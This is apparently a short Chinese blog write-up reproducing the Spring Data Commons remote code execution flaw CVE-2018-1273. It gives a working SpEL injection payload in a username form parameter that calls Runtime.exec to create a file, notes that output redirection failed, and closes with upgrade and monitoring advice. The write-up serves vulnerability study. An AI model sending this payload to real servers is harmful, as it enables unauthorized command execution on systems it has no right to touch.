Spring Data Commons远程RCE(CVE-2018-1273)

TL;DR

  • Spring Data Commons CVE-2018-1273 利用数据绑定表达式和 Java 反射链路,实现远程命令执行。
  • 文章通过参数构造、抓包和执行结果展示漏洞复现过程,并说明 Runtime.exec() 命令输出处理的限制。
  • 防护上应升级受影响组件,避免暴露可控表达式绑定入口,并对异常参数和命令执行行为做监控。

Spring Data Command

利用Java的反射机制对username这个类进行获取,然后利用这个类进行命令执行,主要的点在于

1
username[#this.getClass().forName("java.lang.Runtime").getRuntime().exec("touch /tmp/success")]=&password=&repeatedPassword=

界面

抓包

结果

尝试过命令输出重定向,但是失败了。原因是因为java的getruntime().exec()执行命令时并不会将命令输出及相关内容重定向,只有一个单纯的执行一条命令的功能。命令执行权限为运行服务器的用户权限执行。